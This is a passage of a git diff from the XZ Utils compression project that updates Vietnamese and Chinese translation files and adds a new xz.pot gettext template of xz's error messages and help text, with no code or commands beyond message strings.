giúp đầy đủ rồi thoát" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1001,11 +997,11 @@ msgstr "" " -H, --long-help hiển thị trợ giúp đầy đủ\n" " (liệt kê cả những tùy chọn cấp cao)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version hiển thị số phiên bản và thoát" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1018,23 +1014,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Hãy báo cáo lỗi cho <%s> (bằng tiếng Anh hoặc Phần Lan).\n" "Thông báo lỗi dịch cho: .\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Trang chủ %s: <%s>.\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ĐÂY LÀ PHIÊN BẢN PHÁT TRIỂN VÀ NÓ KHÔNG PHÙ HỢP VỚI MỤC ĐÍCH SẢN XUẤT." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1046,7 +1042,7 @@ msgstr "" "có thể được ngăn cách bằng khoảng trắng hoặc '--'. Cách khác là dùng <0-9>[e]\n" "để chỉ định thay thay cho móc xích lọc.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Các bộ lọc và các tùy chọn của chúng được hỗ trợ là:" @@ -1141,6 +1137,9 @@ msgstr "Gặp lỗi khi ghi dữ liệu vào đầu ra tiêu chuẩn" msgid "Unknown error" msgstr "Lỗi chưa biết" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Không bật được sandbox" + #~ msgid "Memory usage limit for compression: " #~ msgstr "Mức giới hạn dùng bộ nhớ cho nén: " diff --git a/po/xz.pot b/po/xz.pot new file mode 100644 index 00000000..c85bb01f --- /dev/null +++ b/po/xz.pot @@ -0,0 +1,1020 @@ +# SPDX-License-Identifier: 0BSD +# +# SOME DESCRIPTIVE TITLE. +# Copyright (C) The XZ Utils authors and contributors +# This file is published under the BSD Zero Clause License. +# FIRST AUTHOR , YEAR. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: XZ Utils 5.6.0\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME \n" +"Language-Team: LANGUAGE \n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=CHARSET\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" + +#: src/xz/args.c:77 +#, c-format +msgid "%s: Invalid argument to --block-list" +msgstr "" + +#: src/xz/args.c:87 +#, c-format +msgid "%s: Too many arguments to --block-list" +msgstr "" + +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 +msgid "0 can only be used as the last element in --block-list" +msgstr "" + +#: src/xz/args.c:539 +#, c-format +msgid "%s: Unknown file format type" +msgstr "" + +#: src/xz/args.c:562 src/xz/args.c:570 +#, c-format +msgid "%s: Unsupported integrity check type" +msgstr "" + +#: src/xz/args.c:606 +msgid "Only one file can be specified with '--files' or '--files0'." +msgstr "" + +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, c-format +msgid "%s: %s" +msgstr "" + +#: src/xz/args.c:677 +#, c-format +msgid "The environment variable %s contains too many arguments" +msgstr "" + +#: src/xz/args.c:779 +msgid "Compression support was disabled at build time" +msgstr "" + +#: src/xz/args.c:786 +msgid "Decompression support was disabled at build time" +msgstr "" + +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "" + +#: src/xz/coder.c:140 +msgid "Maximum number of filters is four" +msgstr "" + +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 +msgid "Memory usage limit is too low for the given filter setup." +msgstr "" + +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 +msgid "Using a preset in raw mode is discouraged." +msgstr "" + +#: src/xz/coder.c:376 +msgid "The exact options of the presets may vary between software versions." +msgstr "" + +#: src/xz/coder.c:402 +msgid "The .lzma format supports only the LZMA1 filter" +msgstr "" + +#: src/xz/coder.c:410 +msgid "LZMA1 cannot be used with the .xz format" +msgstr "" + +#: src/xz/coder.c:434 +#, c-format +msgid "Filter chain %u is incompatible with --flush-timeout" +msgstr "" + +#: src/xz/coder.c:443 +msgid "Switching to single-threaded mode due to --flush-timeout" +msgstr "" + +#: src/xz/coder.c:484 +#, c-format +msgid "Unsupported options in filter chain %u" +msgstr "" + +#: src/xz/coder.c:515 +#, c-format +msgid "Using up to % threads." +msgstr "" + +#: src/xz/coder.c:531 +msgid "Unsupported filter chain or filter options" +msgstr "" + +#: src/xz/coder.c:552 +#, c-format +msgid "Decompression will need %s MiB of memory." +msgstr "" + +#: src/xz/coder.c:584 +#, c-format +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "" + +#: src/xz/coder.c:604 +#, c-format +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." +msgstr "" + +#: src/xz/coder.c:631 +#, c-format +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" +msgstr "" + +#: src/xz/coder.c:756 +#, c-format +msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "" + +#: src/xz/coder.c:766 +#, c-format +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "" + +#: src/xz/coder.c:1140 +#, c-format +msgid "Error changing to filter chain %u: %s" +msgstr "" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 +#, c-format +msgid "Error creating a pipe: %s" +msgstr "" + +#: src/xz/file_io.c:207 +#, c-format +msgid "%s: poll() failed: %s" +msgstr "" + +#. TRANSLATORS: When compression or decompression finishes, +#. and xz is going to remove the source file, xz first checks +#. if the source file still exists, and if it does, does its +#. device and inode numbers match what xz saw when it opened +#. the source file. If these checks fail, this message is +#. shown, %s being the filename, and the file is not deleted. +#. The check for device and inode numbers is there, because +#. it is possible that the user has put a new file in place +#. of the original file, and in that case it obviously +#. shouldn't be removed. +#: src/xz/file_io.c:274 +#, c-format +msgid "%s: File seems to have been moved, not removing" +msgstr "" + +#: src/xz/file_io.c:281 src/xz/file_io.c:838 +#, c-format +msgid "%s: Cannot remove: %s" +msgstr "" + +#: src/xz/file_io.c:307 +#, c-format +msgid "%s: Cannot set the file owner: %s" +msgstr "" + +#: src/xz/file_io.c:320 +#, c-format +msgid "%s: Cannot set the file group: %s" +msgstr "" + +#: src/xz/file_io.c:339 +#, c-format +msgid "%s: Cannot set the file permissions: %s" +msgstr "" + +#: src/xz/file_io.c:465 +#, c-format +msgid "Error getting the file status flags from standard input: %s" +msgstr "" + +#: src/xz/file_io.c:523 src/xz/file_io.c:585 +#, c-format +msgid "%s: Is a symbolic link, skipping" +msgstr "" + +#: src/xz/file_io.c:614 +#, c-format +msgid "%s: Is a directory, skipping" +msgstr "" + +#: src/xz/file_io.c:620 +#, c-format +msgid "%s: Not a regular file, skipping" +msgstr "" + +#: src/xz/file_io.c:637 +#, c-format +msgid "%s: File has setuid or setgid bit set, skipping" +msgstr "" + +#: src/xz/file_io.c:644 +#, c-format +msgid "%s: File has sticky bit set, skipping" +msgstr "" + +#: src/xz/file_io.c:651 +#, c-format +msgid "%s: Input file has more than one hard link, skipping" +msgstr "" + +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "" + +#: src/xz/file_io.c:748 +#, c-format +msgid "Error restoring the status flags to standard input: %s" +msgstr "" + +#: src/xz/file_io.c:796 +#, c-format +msgid "Error getting the file status flags from standard output: %s" +msgstr "" + +#: src/xz/file_io.c:995 +#, c-format +msgid "Error restoring the O_APPEND flag to standard output: %s" +msgstr "" + +#: src/xz/file_io.c:1007 +#, c-format +msgid "%s: Closing the file failed: %s" +msgstr "" + +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 +#, c-format +msgid "%s: Seeking failed when trying to create a sparse file: %s" +msgstr "" + +#: src/xz/file_io.c:1143 +#, c-format +msgid "%s: Read error: %s" +msgstr "" + +#: src/xz/file_io.c:1173 +#, c-format +msgid "%s: Error seeking the file: %s" +msgstr "" + +#: src/xz/file_io.c:1197 +#, c-format +msgid "%s: Unexpected end of file" +msgstr "" + +#: src/xz/file_io.c:1256 +#, c-format +msgid "%s: Write error: %s" +msgstr "" + +#: src/xz/hardware.c:237 +msgid "Disabled" +msgstr "" + +#: src/xz/hardware.c:268 +msgid "Amount of physical memory (RAM):" +msgstr "" + +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" + +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" + +#: src/xz/hardware.c:272 +msgid "Multi-threaded decompression:" +msgstr "" + +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +msgid "Memory usage limits:" +msgstr "" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +msgid "Compressed size:" +msgstr "" + +#: src/xz/list.c:70 +msgid "Uncompressed size:" +msgstr "" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +msgid "Stream Padding:" +msgstr "" + +#: src/xz/list.c:74 +msgid "Memory needed:" +msgstr "" + +#: src/xz/list.c:75 +msgid "Sizes in headers:" +msgstr "" + +#: src/xz/list.c:78 +msgid "Number of files:" +msgstr "" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +msgid "TotalSize" +msgstr "" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + +#. TRANSLATORS: Indicates that there is no integrity check. +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 +msgid "None" +msgstr "" + +#. TRANSLATORS: Indicates that integrity check name is not known, +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 +msgid "Unknown-2" +msgstr "" + +#: src/xz/list.c:175 +msgid "Unknown-3" +msgstr "" + +#: src/xz/list.c:177 +msgid "Unknown-5" +msgstr "" + +#: src/xz/list.c:178 +msgid "Unknown-6" +msgstr "" + +#: src/xz/list.c:179 +msgid "Unknown-7" +msgstr "" + +#: src/xz/list.c:180 +msgid "Unknown-8" +msgstr "" + +#: src/xz/list.c:181 +msgid "Unknown-9" +msgstr "" + +#: src/xz/list.c:183 +msgid "Unknown-11" +msgstr "" + +#: src/xz/list.c:184 +msgid "Unknown-12" +msgstr "" + +#: src/xz/list.c:185 +msgid "Unknown-13" +msgstr "" + +#: src/xz/list.c:186 +msgid "Unknown-14" +msgstr "" + +#: src/xz/list.c:187 +msgid "Unknown-15" +msgstr "" + +#: src/xz/list.c:350 +#, c-format +msgid "%s: File is empty" +msgstr "" + +#: src/xz/list.c:355 +#, c-format +msgid "%s: Too small to be a valid .xz file" +msgstr "" + +#. TRANSLATORS: These are column headings. From Strms (Streams) +#. to Ratio, the columns are right aligned. Check and Filename +#. are left aligned. If you need longer words, it's OK to +#. use two lines here. Test with "xz -l foo.xz". +#: src/xz/list.c:740 +msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" +msgstr "" + +#: src/xz/list.c:1035 src/xz/list.c:1213 +msgid "Yes" +msgstr "" + +#: src/xz/list.c:1035 src/xz/list.c:1213 +msgid "No" +msgstr "" + +#: src/xz/list.c:1037 src/xz/list.c:1215 +#, c-format +msgid " Minimum XZ Utils version: %s\n" +msgstr "" + +#. TRANSLATORS: %s is an integer. Only the plural form of this +#. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". +#: src/xz/list.c:1188 +#, c-format +msgid "%s file\n" +msgid_plural "%s files\n" +msgstr[0] "" +msgstr[1] "" + +#: src/xz/list.c:1201 +msgid "Totals:" +msgstr "" + +#: src/xz/list.c:1284 +msgid "--list works only on .xz files (--format=xz or --format=auto)" +msgstr "" + +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 +msgid "--list does not support reading from standard input" +msgstr "" + +#: src/xz/main.c:89 +#, c-format +msgid "%s: Error reading filenames: %s" +msgstr "" + +#: src/xz/main.c:96 +#, c-format +msgid "%s: Unexpected end of input when reading filenames" +msgstr "" + +#: src/xz/main.c:120 +#, c-format +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" +msgstr "" + +#: src/xz/main.c:191 +msgid "Compression and decompression with --robot are not supported yet." +msgstr "" + +#: src/xz/main.c:289 +msgid "Cannot read data from standard input when reading filenames from standard input" +msgstr "" + +#. TRANSLATORS: This is the program name in the beginning +#. of the line in messages. Usually it becomes "xz: ". +#. This is a translatable string because French needs +#. a space before a colon. +#: src/xz/message.c:651 src/xz/message.c:706 +#, c-format +msgid "%s: " +msgstr "" + +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 +msgid "Internal error (bug)" +msgstr "" + +#: src/xz/message.c:785 +msgid "Cannot establish signal handlers" +msgstr "" + +#: src/xz/message.c:794 +msgid "No integrity check; not verifying file integrity" +msgstr "" + +#: src/xz/message.c:797 +msgid "Unsupported type of integrity check; not verifying file integrity" +msgstr "" + +#: src/xz/message.c:804 +msgid "Memory usage limit reached" +msgstr "" + +#: src/xz/message.c:807 +msgid "File format not recognized" +msgstr "" + +#: src/xz/message.c:810 +msgid "Unsupported options" +msgstr "" + +#: src/xz/message.c:813 +msgid "Compressed data is corrupt" +msgstr "" + +#: src/xz/message.c:816 +msgid "Unexpected end of input" +msgstr "" + +#: src/xz/message.c:858 +#, c-format +msgid "%s MiB of memory is required. The limiter is disabled." +msgstr "" + +#: src/xz/message.c:886 +#, c-format +msgid "%s MiB of memory is required. The limit is %s." +msgstr "" + +#: src/xz/message.c:905 +#, c-format +msgid "%s: Filter chain: %s\n" +msgstr "" + +#: src/xz/message.c:916 +#, c-format +msgid "Try '%s --help' for more information." +msgstr "" + +#: src/xz/message.c:942 +#, c-format +msgid "" +"Usage: %s [OPTION]... [FILE]...\n" +"Compress or decompress FILEs in the .xz format.\n" +"\n" +msgstr "" + +#: src/xz/message.c:949 +msgid "Mandatory arguments to long options are mandatory for short options too.\n" +msgstr "" + +#: src/xz/message.c:953 +msgid " Operation mode:\n" +msgstr "" + +#: src/xz/message.c:956 +msgid "" +" -z, --compress force compression\n" +" -d, --decompress force decompression\n" +" -t, --test test compressed file integrity\n" +" -l, --list list information about .xz files" +msgstr "" + +#: src/xz/message.c:962 +msgid "" +"\n" +" Operation modifiers:\n" +msgstr "" + +#: src/xz/message.c:965 +msgid "" +" -k, --keep keep (don't delete) input files\n" +" -f, --force force overwrite of output file and (de)compress links\n" +" -c, --stdout write to standard output and don't delete input files" +msgstr "" + +#: src/xz/message.c:974 +msgid "" +" --single-stream decompress only the first stream, and silently\n" +" ignore possible remaining input data" +msgstr "" + +#: src/xz/message.c:977 +msgid "" +" --no-sparse do not create sparse files when decompressing\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" +" --files[=FILE] read filenames to process from FILE; if FILE is\n" +" omitted, filenames are read from the standard input;\n" +" filenames must be terminated with the newline character\n" +" --files0[=FILE] like --files but use the null character as terminator" +msgstr "" + +#: src/xz/message.c:986 +msgid "" +"\n" +" Basic file format and compression options:\n" +msgstr "" + +#: src/xz/message.c:988 +msgid "" +" -F, --format=FMT file format to encode or decode; possible values are\n" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" +msgstr "" + +#: src/xz/message.c:993 +msgid " --ignore-check don't verify the integrity check when decompressing" +msgstr "" + +#: src/xz/message.c:997 +msgid "" +" -0 ... -9 compression preset; default is 6; take compressor *and*\n" +" decompressor memory usage into account before using 7-9!" +msgstr "" + +#: src/xz/message.c:1001 +msgid "" +" -e, --extreme try to improve compression ratio by using more CPU time;\n" +" does not affect decompressor memory requirements" +msgstr "" + +#: src/xz/message.c:1005 +msgid "" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" +msgstr "" + +#: src/xz/message.c:1010 +msgid "" +" --block-size=SIZE\n" +" start a new .xz block after every SIZE bytes of input;\n" +" use this to set the block size for threaded compression" +msgstr "" + +#: src/xz/message.c:1014 +msgid "" +" --block-list=BLOCKS\n" +" start a new .xz block after the given comma-separated\n" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" +msgstr "" + +#: src/xz/message.c:1020 +msgid "" +" --flush-timeout=TIMEOUT\n" +" when compressing, if more than TIMEOUT milliseconds has\n" +" passed since the previous flush and reading more input\n" +" would block, all pending data is flushed out" +msgstr "" + +#: src/xz/message.c:1026 +#, no-c-format +msgid "" +" --memlimit-compress=LIMIT\n" +" --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" +" -M, --memlimit=LIMIT\n" +" set memory usage limit for compression, decompression,\n" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" +msgstr "" + +#: src/xz/message.c:1035 +msgid "" +" --no-adjust if compression settings exceed the memory usage limit,\n" +" give an error instead of adjusting the settings downwards" +msgstr "" + +#: src/xz/message.c:1041 +msgid "" +"\n" +" Custom filter chain for compression (alternative for using presets):" +msgstr "" + +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 +msgid "" +"\n" +" --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" +" --lzma2[=OPTS] more of the following options (valid values; default):\n" +" preset=PRE reset options to a preset (0-9[e])\n" +" dict=NUM dictionary size (4KiB - 1536MiB; 8MiB)\n" +" lc=NUM number of literal context bits (0-4; 3)\n" +" lp=NUM number of literal position bits (0-4; 0)\n" +" pb=NUM number of position bits (0-4; 2)\n" +" mode=MODE compression mode (fast, normal; normal)\n" +" nice=NUM nice length of a match (2-273; 64)\n" +" mf=NAME match finder (hc3, hc4, bt2, bt3, bt4; bt4)\n" +" depth=NUM maximum search depth; 0=automatic (default)" +msgstr "" + +#: src/xz/message.c:1082 +msgid "" +"\n" +" --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" +" --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +" --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +" --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" +" Valid OPTS for all BCJ filters:\n" +" start=NUM start offset for conversions (default=0)" +msgstr "" + +#: src/xz/message.c:1096 +msgid "" +"\n" +" --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" +" dist=NUM distance between bytes being subtracted\n" +" from each other (1-256; 1)" +msgstr "" + +#: src/xz/message.c:1104 +msgid "" +"\n" +" Other options:\n" +msgstr "" + +#: src/xz/message.c:1107 +msgid "" +" -q, --quiet suppress warnings; specify twice to suppress errors too\n" +" -v, --verbose be verbose; specify twice for even more verbose" +msgstr "" + +#: src/xz/message.c:1112 +msgid " -Q, --no-warn make warnings not affect the exit status" +msgstr "" + +#: src/xz/message.c:1114 +msgid " --robot use machine-parsable messages (useful for scripts)" +msgstr "" + +#: src/xz/message.c:1117 +msgid "" +" --info-memory display the total amount of RAM and the currently active\n" +" memory usage limits, and exit" +msgstr "" + +#: src/xz/message.c:1120 +msgid "" +" -h, --help display the short help (lists only the basic options)\n" +" -H, --long-help display this long help and exit" +msgstr "" + +#: src/xz/message.c:1124 +msgid "" +" -h, --help display this short help and exit\n" +" -H, --long-help display the long help (lists also the advanced options)" +msgstr "" + +#: src/xz/message.c:1129 +msgid " -V, --version display the version number and exit" +msgstr "" + +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format +msgid "" +"\n" +"With no FILE, or when FILE is -, read standard input.\n" +msgstr "" + +#. TRANSLATORS: This message indicates the bug reporting address +#. for this package. Please add _another line_ saying +#. "Report translation bugs to <...>\n" with the email or WWW +#. address for translation bugs. Thanks. +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 +#, c-format +msgid "Report bugs to <%s> (in English or Finnish).\n" +msgstr "" + +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 +#, c-format +msgid "%s home page: <%s>\n" +msgstr "" + +#: src/xz/message.c:1143 +msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." +msgstr "" + +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +msgid "The supported filters and their options are:" +msgstr "" + +#: src/xz/options.c:85 +#, c-format +msgid "%s: Options must be 'name=value' pairs separated with commas" +msgstr "" + +#: src/xz/options.c:92 +#, c-format +msgid "%s: Invalid option name" +msgstr "" + +#: src/xz/options.c:112 +#, c-format +msgid "%s: Invalid option value" +msgstr "" + +#: src/xz/options.c:247 +#, c-format +msgid "Unsupported LZMA1/LZMA2 preset: %s" +msgstr "" + +#: src/xz/options.c:355 +msgid "The sum of lc and lp must not exceed 4" +msgstr "" + +#: src/xz/suffix.c:165 +#, c-format +msgid "%s: Filename has an unknown suffix, skipping" +msgstr "" + +#: src/xz/suffix.c:186 +#, c-format +msgid "%s: File already has '%s' suffix, skipping" +msgstr "" + +#: src/xz/suffix.c:393 +#, c-format +msgid "%s: Invalid filename suffix" +msgstr "" + +#: src/xz/util.c:106 +#, c-format +msgid "%s: Value is not a non-negative decimal integer" +msgstr "" + +#: src/xz/util.c:148 +#, c-format +msgid "%s: Invalid multiplier suffix" +msgstr "" + +#: src/xz/util.c:150 +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." +msgstr "" + +#: src/xz/util.c:167 +#, c-format +msgid "Value of the option '%s' must be in the range [%, %]" +msgstr "" + +#: src/xz/util.c:290 +msgid "Compressed data cannot be read from a terminal" +msgstr "" + +#: src/xz/util.c:303 +msgid "Compressed data cannot be written to a terminal" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +msgid "File is too small to be a .lzma file" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 +msgid "Writing to standard output failed" +msgstr "" + +#: src/common/tuklib_exit.c:42 +msgid "Unknown error" +msgstr "" diff --git a/po/zh_CN.gmo b/po/zh_CN.gmo new file mode 100644 index 00000000..49d044bd Binary files /dev/null and b/po/zh_CN.gmo differ diff --git a/po/zh_CN.po b/po/zh_CN.po index 32dd3892..86b8e0a9 100644 --- a/po/zh_CN.po +++ b/po/zh_CN.po @@ -7,7 +7,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre1\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-01-26 19:40+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-05 15:15-0500\n" "Last-Translator: Boyuan Yang <073plan@gmail.com>\n" "Language-Team: Chinese (simplified) \n" @@ -19,179 +19,175 @@ msgstr "" "X-Bugs: Report translation errors to the Language-Team address.\n" "X-Generator: Poedit 3.4.2\n" -#: src/xz/args.c:78 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s:--block-list 的无效参数" -#: src/xz/args.c:88 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s:--block-list 得到过多参数" -#: src/xz/args.c:125 +#: src/xz/args.c:124 #, c-format msgid "In --block-list, block size is missing after filter chain number '%c:'" msgstr "在 --block-list 中,块大小在过滤器链编号 '%c:' 之后缺失" -#: src/xz/args.c:151 +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 仅可用于 --block-list 的最后一个元素" -#: src/xz/args.c:540 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s:未知文件格式类型" -#: src/xz/args.c:563 src/xz/args.c:571 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s:不支持的完整性检查类型" -#: src/xz/args.c:607 +#: src/xz/args.c:606 msgid "Only one file can be specified with '--files' or '--files0'." msgstr "仅可使用 '--files' 或 '--files0' 指定单个文件。" #. TRANSLATORS: This is a translatable #. string because French needs a space #. before the colon ("%s : %s"). -#: src/xz/args.c:622 src/xz/coder.c:1059 src/xz/coder.c:1075 -#: src/xz/coder.c:1375 src/xz/coder.c:1378 src/xz/file_io.c:686 -#: src/xz/file_io.c:760 src/xz/file_io.c:850 src/xz/file_io.c:1021 -#: src/xz/list.c:369 src/xz/list.c:415 src/xz/list.c:477 src/xz/list.c:591 -#: src/xz/list.c:600 +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 #, c-format msgid "%s: %s" msgstr "%s:%s" -#: src/xz/args.c:678 +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "环境变量 %s 包含过多参数" -#: src/xz/args.c:780 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "压缩支持已在构建时禁用" -#: src/xz/args.c:787 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "解压支持已在构建时禁用" -#: src/xz/args.c:793 +#: src/xz/args.c:792 msgid "Compression 